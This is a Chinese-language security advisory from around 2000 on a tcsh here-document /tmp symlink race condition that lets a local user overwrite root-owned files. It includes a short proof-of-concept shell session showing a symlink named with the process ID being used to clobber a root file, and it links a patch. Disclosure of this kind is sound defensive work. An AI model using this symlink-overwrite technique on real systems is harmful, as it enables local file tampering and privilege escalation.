xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

tcsh Here-document /tmp符号连接漏洞


发布时间:2000-11-11
更新时间:2000-11-11
严重程度:
威胁程度:本地管理员权限
错误类型:竞争条件
利用方式:服务器模式

受影响系统
tcsh tcsh 6.9.00
tcsh tcsh 6.8.00
tcsh tcsh 6.7.2
详细描述
TCSH是一个UNIX C SHELL的加强版本,当处理here-document时候,会在/tmp目录
下建立不安全的/tmp文件,其中的文件名可以被猜测。

攻击者可以使用here-document重定向他们的进程ID来覆盖别人的文件内容,如果
这个文件正好属于ROOT的进程。使用符号连接到文件名,并恶意指向要覆盖的文件
内容从而到达权利的提高。

测试代码
/tmp# echo 'hello world' > rootfile
/tmp# chmod 600 rootfile
/tmp# ln -s rootfile sh$$
/tmp# chown -h 666.666 sh$$
/tmp# ls -l rootfile sh$$
-rw------- 1 root root 12 Oct 29 03:55 rootfile
lrwxrwxrwx 1 666 666 8 Oct 29 03:56 sh12660 ->
rootfile
/tmp# cat <<BAR
? FOO
? BAR
FOO
o world
/tmp# ls -l rootfile sh$$
/bin/ls: sh12660: No such file or directory
-rw------- 1 root root 12 Oct 29 03:56 rootfile
/tmp# cat rootfile
FOO
o world
/tmp#

解决方案
采用补丁:

tcsh tcsh 6.9.00:

Kris Kennaway <kris@freebsd.org> patch tcsh.patch
http://www.securityfocus.com/data/vulnerabilities/patches/tcsh.patch

相关信息